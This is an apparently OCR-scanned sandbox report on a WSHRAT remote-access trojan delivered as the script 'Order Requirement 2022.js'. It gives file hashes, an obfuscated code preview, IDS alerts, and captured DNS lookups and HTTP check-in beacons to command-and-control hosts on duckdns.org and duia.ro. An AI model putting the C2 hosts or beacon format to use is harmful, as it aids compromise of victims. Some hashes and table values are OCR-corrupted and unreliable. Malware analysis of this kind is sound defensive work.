SSDEEP: 3072:roUKfHVYLgmM4ZmXYYrNzrLrSEhJU4GOpf:roUKfHVYLMA4Y/xzrLfT
MD5: B276C36493BBIFA92DF1F59895B5D777
SHA1: 8D5D49BB030505DE7C0888E18B47015DB4890C5A
SHA-256: F962DA43F295B3508BC4B46215843A9777144E79113548546DCFA4C381B3BCB7
SHA-512: A1994A7DC9022F8540444A565DB1FB5C719138784DC92E45A49BCBB0B8DBD3141C02BFAC347A84CCB011BEBC57DFDC7C4EDCF472C95C687ACBA95E211B51
951
Malicious: true
Preview: . function jbxlog() {. var str try . {. for(vari=0;i<arguments.length;i++). {. var argKey = argumentsl[i][0]; . var argValue = arg
umentsl[i][1]; . varstr2 =""; . {. if (argKey == "entry" ) . {. var info = jbxlog.countDic[argValue];. if (info === undefined).
{. info = jbxlog.countDic[argValue] = { "totEntry": 1, "remEntry": jbxlog.countLimit - 1, "totExit": 0, "remExit": joxlog.countLimit };. } else. {.
info["totEntry"]++;. var remEntry = info["remEntry"] > 0 ? info["remEntry"]-- : 0;. if (remEntry === 0). {. return;. }
I } else if ( argKey == "exit"). {. var info = jbxlog.countDic[argValue];. if (info l== undefined). {. var to

C:\Users\user\AppData\Roaming\Order Requirement 2022.js:Zone.ldentifier @

Process: C:\Windows\System32\wscript.exe
File Type: ASCII text, with CRLF line terminators
Category: dropped

Size (bytes): 26

Entropy (8bit):  3.95006375643621

Encrypted: false

SSDEEP: 3:9gPYViPYV

MD5: 187F488E27DB4AF347237FE461A079AD

SHA1: 6693BA299EC1881249D59262276A0D2CB21F8E64

SHA-256: 255A65D30841AB4082BD9DOEEA79D49C5EE88F56136157D8D6156AEF11C12309

SHA-512: 89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DCICDE1B60FB21CD6:
E

Malicious: true

Preview: [ZoneTransfer]....Zoneld=0
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Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHA1:
SHA256:
SHA512:
SSDEEP:
TLSH:

File Content
Preview:

File lcon

5

Icon Hash:

ASCII text, with very long lines (41216), with CRLF line terminators

5.768003162741704

Order Requirement 2022.js

118259

€873a424159d2557551d0f4684af7a5f
7dfcc66a95100143fae12531151355d2016718f0
0d5a587f0c1dcff512f6112ee48859608db08307aa39887cc71480998d7070d4
b8c9845734a0ec5c5d2e572b34df59baal520fc12ca0f3377b0c5f65239e08d876b39aac57c3a53138583d6c5¢7cb6c2d181d8f46f962¢4fe42b2710619660

3072:coUKfH3YLgmM4ZmXYYrNzrLrSEhJU4GOp3:coUKfH3YLM4Y/xzrLfr

6CC3CF74DD378B70DBE41E0599FCEF1E5FB0094E642264DFBB84564AE26090CE10EBA9

../l String function has modified FUDCRYPT..$5FZwLPDulLmhd3toN49z=function(n){if (typeof ($5FZwLPDuLmhd3toN49z.list[n]) == "string") return
$5FZwLPDuLmhd3toN49z.list[n].split("").reverse().join("");return $5FZwLPDuLmhd3toN49z.list[n];};..$5FZwLPDuLmhd3toN4

Network Behavior

Snort IDS Alerts

Timestamp

Protocol

192.168.2.5109.248.150.1 TCP
384973320222017516

10/03/22-
15:58:08.503396

192.168.2.5109.248.150.1 TCP
384980020222017516

10/03/22-
16:00:06.684129

192.168.2.5109.248.150.1 TCP
384978220222017516

10/03/22-
15:59:34.417510

192.168.2.5109.248.150.1 TCP
384979620222017516

10/03/22-
16:00:01.475367

192.168.2.5109.248.150.1 TCP
384974320222017516

10/03/22-
15:58:25.510035

192.168.2.5109.248.150.1 TCP
384974920222017516

10/03/22-
15:58:35.892450

192.168.2.5109.248.150.1 TCP
384973720222017516

10/03/22-
15:58:13.983128

192.168.2.5109.248.150.1 TCP
384979220222017516

10/03/22-
15:59:50.918382

192.168.2.5109.248.150.1 TCP
384980620222017516

10/03/22-
16:00:17.051647

Copyright Joe Security LLC 2022

e8d69ece968a%ec4

S

D
201751
6

201751
6

201751
6

201751
6

201751
6

201751
6

201751
6

201751
6

201751
6

Message

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

Source Dest

Port

49733

49800

49782

49796

49743

49749

49737

49792

49806

Port

2022

2022

2022

2022

2022

2022

2022

2022

2022

Source IP

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

Dest IP

109.248.150.
138

109.248.150.
138

109.248.150.
138

109.248.150.
138

109.248.150.
138

109.248.150.
138

109.248.150.
138

109.248.150.
138

109.248.150.
138
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Timestamp Protocol

192.168.2.5109.248.150.1 TCP
384973220222017516

10/03/22-

15:58:03.289656

192.168.2.5109.248.150.1 TCP
384979520222017516

10/03/22-

15:59:56.411392

192.168.2.5109.248.150.1 TCP
384976220222017516

10/03/22-

15:58:56.662534

192.168.2.5109.248.150.1 TCP
384972620222017516

10/03/22-

15:57:51.886582

192.168.2.5109.248.150.1 TCP
384980320222017516

10/03/22-

16:00:11.895919

192.168.2.5109.248.150.1 TCP
384978920222017516

10/03/22-

15:59:45.746117

192.168.2.5109.248.150.1 TCP
384975220222017516

10/03/22-

15:58:41.269693

192.168.2.5109.248.150.1 TCP
384977920222017516

10/03/22-

15:59:29.278633

192.168.2.5109.248.150.1 TCP
384978520222017516

10/03/22-

15:59:40.597927

192.168.2.5109.248.150.1 TCP
384977420222017516

10/03/22-

15:59:18.917860

192.168.2.5109.248.150.1 TCP
384972820222017516

10/03/22-

15:57:57.222154

192.168.2.5109.248.150.1 TCP
384975820222017516

10/03/22-

15:58:51.515086

192.168.2.5109.248.150.1 TCP
384976420222017516

10/03/22-

15:59:03.007718

192.168.2.5109.248.150.1 TCP
384974720222017516

10/03/22-

15:58:30.696047

192.168.2.5109.248.150.1 TCP
384976720222017516

10/03/22-

15:59:08.214794

192.168.2.5109.248.150.1 TCP
384977020222017516

10/03/22-

15:59:13.447659

192.168.2.5109.248.150.1 TCP
384975420222017516

10/03/22-

15:58:46.360659

192.168.2.5109.248.150.1 TCP
384974020222017516

10/03/22-

15:58:19.149330

192.168.2.5109.248.150.1 TCP
384977720222017516

10/03/22-

15:59:24.067780
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S

D
201751
6

201751
6

201751
6

201751
6

201751
6

201751
6

201751
6

201751
6

201751
6

201751
6

201751
6

201751
6

201751
6

201751
6

201751
6

201751
6

201751
6

201751
6

201751
6

Message

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

Source Dest

Port

49732

49795

49762

49726

49803

49789

49752

49779

49785

49774

49728

49758

49764

49747

49767

49770

49754

49740

49777

Port

2022

2022

2022

2022

2022

2022

2022

2022

2022

2022

2022

2022

2022

2022

2022

2022

2022

2022

2022

Source IP

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

Dest IP

109.248.150.
138

109.248.150.
138

109.248.150.
138

109.248.150.
138

109.248.150.
138

109.248.150.
138

109.248.150.
138

109.248.150.
138

109.248.150.
138

109.248.150.
138

109.248.150.
138

109.248.150.
138

109.248.150.
138

109.248.150.
138

109.248.150.
138

109.248.150.
138

109.248.150.
138

109.248.150.
138

109.248.150.
138
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Network Port Distribution

Total Packets: 82

@ 53 (DNS)
@ 2022 undefined
@ 5465 undefined

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Oct 3, 2022 15:56:26.003720045 CEST 49700 5465 192.168.2.5 154.120.126.87
Oct 3, 2022 15:56:29.061095953 CEST 49700 5465 192.168.2.5 154.120.126.87
Oct 3, 2022 15:56:35.251126051 CEST 49700 5465 192.168.2.5 154.120.126.87
Oct 3, 2022 15:56:44.531790972 CEST 49701 2022 192.168.2.5 109.248.144.237
Oct 3, 2022 15:56:44.548685074 CEST 49702 5465 192.168.2.5 154.120.126.87
Oct 3, 2022 15:56:44.566982985 CEST 2022 49701 109.248.144.237 192.168.2.5

Oct 3, 2022 15:56:45.251971006 CEST 49701 2022 192.168.2.5 109.248.144.237
Oct 3, 2022 15:56:45.287292004 CEST 2022 49701 109.248.144.237 192.168.2.5

Oct 3, 2022 15:56:45.939734936 CEST 49701 2022 192.168.2.5 109.248.144.237
Oct 3, 2022 15:56:45.975219011 CEST 2022 49701 109.248.144.237 192.168.2.5

Oct 3, 2022 15:56:47.627207041 CEST 49702 5465 192.168.2.5 154.120.126.87
Oct 3, 2022 15:56:52.067500114 CEST 49703 2022 192.168.2.5 109.248.144.237
Oct 3, 2022 15:56:52.102797031 CEST 2022 49703 109.248.144.237 192.168.2.5

Oct 3, 2022 15:56:52.627645969 CEST 49703 2022 192.168.2.5 109.248.144.237
Oct 3, 2022 15:56:52.662770987 CEST 2022 49703 109.248.144.237 192.168.2.5

Oct 3, 2022 15:56:53.315156937 CEST 49703 2022 192.168.2.5 109.248.144.237
Oct 3, 2022 15:56:53.350512981 CEST 2022 49703 109.248.144.237 192.168.2.5

Oct 3, 2022 15:56:53.627743959 CEST 49702 5465 192.168.2.5 154.120.126.87
Oct 3, 2022 15:56:53.950350046 CEST 49704 5465 192.168.2.5 154.120.126.87
Oct 3, 2022 15:56:55.221076012 CEST 49705 5465 192.168.2.5 154.120.126.87
Oct 3, 2022 15:56:57.128066063 CEST 49704 5465 192.168.2.5 154.120.126.87
Oct 3, 2022 15:56:58.206263065 CEST 49705 5465 192.168.2.5 154.120.126.87
Oct 3, 2022 15:56:58.477217913 CEST 49706 2022 192.168.2.5 109.248.144.237
Oct 3, 2022 15:56:58.512871981 CEST 2022 49706 109.248.144.237 192.168.2.5

Oct 3, 2022 15:56:59.018749952 CEST 49706 2022 192.168.2.5 109.248.144.237
Oct 3, 2022 15:56:59.054753065 CEST 2022 49706 109.248.144.237 192.168.2.5

Oct 3, 2022 15:56:59.565812111 CEST 49706 2022 192.168.2.5 109.248.144.237
Oct 3, 2022 15:56:59.600990057 CEST 2022 49706 109.248.144.237 192.168.2.5

Oct 3, 2022 15:57:02.959410906 CEST 49707 5465 192.168.2.5 154.120.126.87
Oct 3, 2022 15:57:03.128521919 CEST 49704 5465 192.168.2.5 154.120.126.87
Oct 3, 2022 15:57:04.206908941 CEST 49705 5465 192.168.2.5 154.120.126.87
Oct 3, 2022 15:57:05.107383966 CEST 49708 2022 192.168.2.5 109.248.144.237
Oct 3, 2022 15:57:05.143032074 CEST 2022 49708 109.248.144.237 192.168.2.5

Oct 3, 2022 15:57:05.644694090 CEST 49708 2022 192.168.2.5 109.248.144.237
Oct 3, 2022 15:57:05.679691076 CEST 2022 49708 109.248.144.237 192.168.2.5

Oct 3, 2022 15:57:05.972479105 CEST 49707 5465 192.168.2.5 154.120.126.87
Oct 3, 2022 15:57:06.191277027 CEST 49708 2022 192.168.2.5 109.248.144.237
Oct 3, 2022 15:57:06.227336884 CEST 2022 49708 109.248.144.237 192.168.2.5

Oct 3, 2022 15:57:11.353198051 CEST 49710 2022 192.168.2.5 109.248.144.237
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Timestamp

Oct 3, 2022 15:57:11.388391972 CEST
Oct 3, 2022 15:57:11.968043089 CEST
Oct 3, 2022 15:57:11.973290920 CEST
Oct 3, 2022 15:57:12.003303051 CEST
Oct 3, 2022 15:57:12.660558939 CEST
Oct 3, 2022 15:57:12.695801973 CEST
Oct 3, 2022 15:57:12.834825993 CEST
Oct 3, 2022 15:57:15.864218950 CEST
Oct 3, 2022 15:57:17.828668118 CEST
Oct 3, 2022 15:57:17.863908052 CEST
Oct 3, 2022 15:57:18.473731995 CEST
Oct 3, 2022 15:57:18.508932114 CEST
Oct 3, 2022 15:57:19.163007021 CEST
Oct 3, 2022 15:57:19.198321104 CEST
Oct 3, 2022 15:57:21.880121946 CEST
Oct 3, 2022 15:57:22.630538940 CEST
Oct 3, 2022 15:57:23.375969887 CEST
Oct 3, 2022 15:57:24.343918085 CEST
Oct 3, 2022 15:57:24.379266024 CEST
Oct 3, 2022 15:57:24.880682945 CEST
Oct 3, 2022 15:57:24.915993929 CEST
Oct 3, 2022 15:57:25.427239895 CEST
Oct 3, 2022 15:57:25.463049889 CEST
Oct 3, 2022 15:57:25.692938089 CEST
Oct 3, 2022 15:57:26.380443096 CEST
Oct 3, 2022 15:57:29.093457937 CEST
Oct 3, 2022 15:57:30.603741884 CEST
Oct 3, 2022 15:57:30.638906956 CEST
Oct 3, 2022 15:57:31.240489960 CEST
Oct 3, 2022 15:57:31.275706053 CEST
Oct 3, 2022 15:57:31.519377947 CEST
Oct 3, 2022 15:57:31.729749918 CEST
Oct 3, 2022 15:57:31.927829981 CEST
Oct 3, 2022 15:57:31.963042974 CEST
Oct 3, 2022 15:57:32.240315914 CEST
Oct 3, 2022 15:57:32.427881956 CEST
Oct 3, 2022 15:57:34.599940062 CEST
Oct 3, 2022 15:57:37.159811020 CEST
Oct 3, 2022 15:57:37.195035934 CEST
Oct 3, 2022 15:57:37.803783894 CEST
Oct 3, 2022 15:57:37.839227915 CEST
Oct 3, 2022 15:57:38.256445885 CEST
Oct 3, 2022 15:57:38.490921974 CEST
Oct 3, 2022 15:57:38.525940895 CEST
Oct 3, 2022 15:57:40.600433111 CEST
Oct 3, 2022 15:57:41.108023882 CEST
Oct 3, 2022 15:57:43.614278078 CEST
Oct 3, 2022 15:57:43.649421930 CEST
Oct 3, 2022 15:57:43.784221888 CEST
Oct 3, 2022 15:57:44.303917885 CEST
Oct 3, 2022 15:57:44.306480885 CEST
Oct 3, 2022 15:57:44.341784954 CEST
Oct 3, 2022 15:57:44.991496086 CEST
Oct 3, 2022 15:57:45.027692080 CEST
Oct 3, 2022 15:57:46.841146946 CEST
Oct 3, 2022 15:57:50.088314056 CEST
Oct 3, 2022 15:57:50.123517990 CEST
Oct 3, 2022 15:57:50.304547071 CEST
Oct 3, 2022 15:57:50.632560015 CEST
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Source Port
2022
49710
49707
2022
49710
2022
49711
49711
49712
2022
49712
2022
49712
2022
49711
49713
49714
49715
2022
49715
2022
49715
2022
49713
49714
49716
49717
2022
49717
2022
49718
49713
49717
2022
49716
49714
49718
49719
2022
49719
2022
49716
49719
2022
49718
49720
49721
2022
49722
49720
49721
2022
49721
2022
49722
49723
2022
49720
49723

Dest Port
49710
2022
5465
49710
2022
49710
5465
5465
2022
49712
2022
49712
2022
49712
5465
5465
5465
2022
49715
2022
49715
2022
49715
5465
5465
5465
2022
49717
2022
49717
5465
5465
2022
49717
5465
5465
5465
2022
49719
2022
49719
5465
2022
49719
5465
5465
2022
49721
5465
5465
2022
49721
2022
49721
5465
2022
49723
5465
2022

Source IP
109.248.144.237
192.168.2.5
192.168.2.5
109.248.144.237
192.168.2.5
109.248.144.237
192.168.2.5
192.168.2.5
192.168.2.5
109.248.144.237
192.168.2.5
109.248.144.237
192.168.2.5
109.248.144.237
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
109.248.144.237
192.168.2.5
109.248.144.237
192.168.2.5
109.248.144.237
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
109.248.144.237
192.168.2.5
109.248.144.237
192.168.2.5
192.168.2.5
192.168.2.5
109.248.144.237
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
109.248.144.237
192.168.2.5
109.248.144.237
192.168.2.5
192.168.2.5
109.248.144.237
192.168.2.5
192.168.2.5
192.168.2.5
109.248.144.237
192.168.2.5
192.168.2.5
192.168.2.5
109.248.144.237
192.168.2.5
109.248.144.237
192.168.2.5
192.168.2.5
109.248.144.237
192.168.2.5
192.168.2.5

Dest IP
192.168.2.5
109.248.144.237
154.120.126.87
192.168.2.5
109.248.144.237
192.168.2.5
154.120.126.87
154.120.126.87
109.248.144.237
192.168.2.5
109.248.144.237
192.168.2.5
109.248.144.237
192.168.2.5
154.120.126.87
154.120.126.87
154.120.126.87
109.248.144.237
192.168.2.5
109.248.144.237
192.168.2.5
109.248.144.237
192.168.2.5
154.120.126.87
154.120.126.87
154.120.126.87
109.248.144.237
192.168.2.5
109.248.144.237
192.168.2.5
154.120.126.87
154.120.126.87
109.248.144.237
192.168.2.5
154.120.126.87
154.120.126.87
154.120.126.87
109.248.144.237
192.168.2.5
109.248.144.237
192.168.2.5
154.120.126.87
109.248.144.237
192.168.2.5
154.120.126.87
154.120.126.87
109.248.144.237
192.168.2.5
154.120.126.87
154.120.126.87
109.248.144.237
192.168.2.5
109.248.144.237
192.168.2.5
154.120.126.87
109.248.144.237
192.168.2.5
154.120.126.87
109.248.144.237
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Timestamp

Oct 3, 2022 15:57:50.668118000 CEST
Oct 3, 2022 15:57:50.891134024 CEST

UDP Packets

Timestamp

Oct 3, 2022 15:56:25.945163965 CEST
Oct 3, 2022 15:56:25.981889963 CEST
Oct 3, 2022 15:56:42.403424025 CEST
Oct 3, 2022 15:56:43.451083899 CEST
Oct 3, 2022 15:56:44.484040976 CEST
Oct 3, 2022 15:56:44.486901999 CEST
Oct 3, 2022 15:56:44.514353037 CEST
Oct 3, 2022 15:56:44.517643929 CEST
Oct 3, 2022 15:56:48.471168995 CEST
Oct 3, 2022 15:56:49.506131887 CEST
Oct 3, 2022 15:56:53.876792908 CEST
Oct 3, 2022 15:56:53.908386946 CEST
Oct 3, 2022 15:57:02.906929970 CEST
Oct 3, 2022 15:57:02.944133043 CEST
Oct 3, 2022 15:57:29.059144974 CEST
Oct 3, 2022 15:57:29.077153921 CEST
Oct 3, 2022 15:57:41.592298031 CEST
Oct 3, 2022 15:57:42.586081028 CEST
Oct 3, 2022 15:57:43.608944893 CEST
Oct 3, 2022 15:57:43.729804039 CEST
Oct 3, 2022 15:57:43.764605999 CEST
Oct 3, 2022 15:57:46.374825001 CEST
Oct 3, 2022 15:57:46.609219074 CEST
Oct 3, 2022 15:57:47.604291916 CEST
Oct 3, 2022 15:57:48.626853943 CEST
Oct 3, 2022 15:57:49.485599041 CEST
Oct 3, 2022 15:57:51.709530115 CEST
Oct 3, 2022 15:57:51.824341059 CEST

ICMP Packets

Timestamp

Oct 3, 2022 15:56:48.473455906 CEST
Oct 3, 2022 15:56:49.506257057 CEST
Oct 3, 2022 15:57:47.604485035 CEST
Oct 3, 2022 15:57:48.627017021 CEST

Oct 3, 2022 15:57:49.485771894 CEST

DNS Queries

Timestamp Source IP

Oct 3, 2022 15:56:25.945163965 192.168.2.5

CEST

Oct 3, 2022 15:56:42.403424025 192.168.2.5

CEST

Oct 3, 2022 15:56:43.451083899 192.168.2.5

CEST

Oct 3, 2022 15:56:44.484040976 192.168.2.5

CEST

Oct 3, 2022 15:56:44.486901999 192.168.2.5

CEST

Copyright Joe Security LLC 2022

Dest IP

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Source Port

2022
49724

Source Port
61893
53
60649
60649
51441
60649
53

53

53

53
49177
53
49724
53
65323
53
51484
51484
51484
63446
53
51484
53

53

53

53
56751
53

Trans ID

0Oxc3fb

Oxal9e

Oxal9e

0xb2c4

Oxal9e

Dest Port

49723
5465

Dest Port

60649
51441
60649
60649
53
49177
53
49724
53
65323
53
53
53
53
63446
53
51484
51484
51484
51484
53
56751

Source IP

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

OP Code

Standard query
0)
Standard query
(0)
Standard query
(0)
Standard query
(0)
Standard query
(0)

Source IP

109.248.144.237
192.168.2.5

Source IP
192.168.2.5
8.8.8.8
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
8.8.8.8
8.8.8.8
8.8.8.8
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
8.8.8.8
8.8.8.8
8.8.8.8
192.168.2.5
8.8.8.8

Dest IP

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Name

javaautoru
n.duia.ro

jbd231.duc
kdns.org

jbd231.duc
kdns.org

javaautoru
n.duia.ro

jbd231.duc
kdns.org

Checksum

cff7

cff7

cff7

cff7

doo7

Type

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Dest IP

192.168.2.5
154.120.126.87

Dest IP
8.8.8.8
192.168.2.5
8.8.8.8
8.8.8.8
8.8.8.8
8.8.8.8
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
8.8.8.8
8.8.8.8
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
8.8.8.8
192.168.2.5

Code

(Port
unreachable)

(Port
unreachable)

(Port
unreachable)

(Port
unreachable)

(Port
unreachable)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Type

Destination
Unreachable

Destination
Unreachable

Destination
Unreachable

Destination
Unreachable

Destination
Unreachable

DNS over
HTTPS
false

false

false

false

false
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DNS over

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class HTTPS
Oct 3, 2022 15:56:53.876792908 192.168.2.5 8.8.8.8 0x6be5 Standard query  javaautoru A (IP address) IN (0x0001) false
CEST (0) n.duia.ro
Oct 3, 2022 15:57:02.906929970 192.168.2.5 8.8.8.8 0x91d8 Standard query  javaautoru A (IP address) IN (0x0001) false
CEST (0) n.duia.ro
Oct 3, 2022 15:57:29.059144974 192.168.2.5 8.8.8.8 0xdfc8 Standard query  javaautoru A (IP address) IN (0x0001) false
CEST (0) n.duia.ro
Oct 3, 2022 15:57:41.592298031 192.168.2.5 8.8.8.8 0x302 Standard query  jbd231.duc A (IP address) IN (0x0001) false
CEST (0) kdns.org
Oct 3, 2022 15:57:42.586081028 192.168.2.5 8.8.8.8 0x302 Standard query  jbd231.duc A (IP address) IN (0x0001) false
CEST (0) kdns.org
Oct 3, 2022 15:57:43.608944893 192.168.2.5 8.8.8.8 0x302 Standard query  jbd231.duc A (IP address) IN (0x0001) false
CEST (0) kdns.org
Oct 3, 2022 15:57:43.729804039 192.168.2.5 8.8.8.8 Oxa111 Standard query  javaautoru A (IP address) IN (0x0001) false
CEST (0) n.duia.ro
Oct 3, 2022 15:57:46.374825001 192.168.2.5 8.8.8.8 0x302 Standard query  jbd231.duc A (IP address) IN (0x0001) false
CEST (0) kdns.org
Oct 3, 2022 15:57:51.709530115 192.168.2.5 8.8.8.8 0x365e Standard query  jbd231.duc A (IP address) IN (0x0001) false
CEST (0) kdns.org
DNS Answers

. DNS over
Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class HTTPS
Oct 3, 2022 8.8.8.8 192.168.2.5 0xc3fb No error (0) javaautoru 154.120.126.8 A (IP address) IN false
15:56:25.981889963 n.duia.ro 7 (0x0001)
CEST
Oct 3, 2022 8.8.8.8 192.168.2.5 Oxal9e No error (0) jbd231.duc 109.248.144.2 A (IP address) IN false
15:56:44.514353037 kdns.org 37 (0x0001)
CEST
Oct 3, 2022 8.8.8.8 192.168.2.5 Oxb2c4 No error (0) javaautoru 154.120.126.8 A (IP address) IN false
15:56:44.517643929 n.duia.ro 7 (0x0001)
CEST
Oct 3, 2022 8.8.8.8 192.168.2.5 Oxal9e Server failure  jod231.duc none none A (IP address) IN false
15:56:48.471168995 2) kdns.org (0x0001)
CEST
Oct 3, 2022 8.8.8.8 192.168.2.5 Oxal9e Server failure  jod231.duc none none A (IP address) IN false
15:56:49.506131887 () kdns.org (0x0001)
CEST
Oct 3, 2022 8.8.8.8 192.168.2.5 0x6be5 No error (0) javaautoru 154.120.126.8 A (IP address) IN false
15:56:53.908386946 n.duia.ro 7 (0x0001)
CEST
Oct 3, 2022 8.8.8.8 192.168.2.5 0x91d8 No error (0) javaautoru 154.120.126.8 A (IP address) IN false
15:57:02.944133043 n.duia.ro 7 (0x0001)
CEST
Oct 3, 2022 8.8.8.8 192.168.2.5 Oxdfc8 No error (0) javaautoru 154.120.126.8 A (IP address) IN false
15:57:29.077153921 n.duia.ro 7 (0x0001)
CEST
Oct 3, 2022 8.8.8.8 192.168.2.5 Oxa111 No error (0) javaautoru 154.120.126.8 A (IP address) IN false
15:57:43.764605999 n.duia.ro 7 (0x0001)
CEST
Oct 3, 2022 8.8.8.8 192.168.2.5 0x302 Server failure  jbd231.duc none none A (IP address) IN false
15:57:46.609219074 (2) kdns.org (0x0001)
CEST
Oct 3, 2022 8.8.8.8 192.168.2.5 0x302 Server failure  jbd231.duc none none A (IP address) IN false
15:57:47.604291916 @) kdns.org (0x0001)
CEST
Oct 3, 2022 8.8.8.8 192.168.2.5 0x302 Server failure  jbd231.duc none none A (IP address) IN false
15:57:48.626853943 (2) kdns.org (0x0001)
CEST
Oct 3, 2022 8.8.8.8 192.168.2.5 0x302 No error (0) jbd231.duc 109.248.150.1 A (IP address) IN false
15:57:49.485599041 kdns.org 38 (0x0001)
CEST
Oct 3, 2022 8.8.8.8 192.168.2.5 0x365e No error (0) jbd231.duc 109.248.150.1 A (IP address) IN false
15:57:51.824341059 kdns.org 38 (0x0001)
CEST

HTTP Request Dependency Graph

« jbd231.duckdns.org:2022
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HTTP Packets

Session ID Source IP Source Port Destination IP  Destination Port Process
0 192.168.2.5 49726 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp LiEpiEE Direction Data
transferred
Oct 3, 2022 114 ouT POST /is-ready HTTP/1.1
15:57:51.886581898 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache

Session ID Source IP Source Port Destination IP  Destination Port Process
1 192.168.2.5 49728 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp LiEpiee Direction Data
transferred
Oct 3, 2022 115 ouT POST /is-ready HTTP/1.1
15:57:57.222153902 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache

Session ID Source IP Source Port Destination IP  Destination Port Process
10 192.168.2.5 49754 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp Lizpiee Direction Data
transferred
Oct 3, 2022 128 ouT POST /is-ready HTTP/1.1
15:58:46.360658884 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache

Session ID Source IP Source Port Destination IP  Destination Port Process
11 192.168.2.5 49758 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp Cizpiiee Direction Data
transferred
Oct 3, 2022 129 ouT POST /is-ready HTTP/1.1
15:58:51.515085936 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
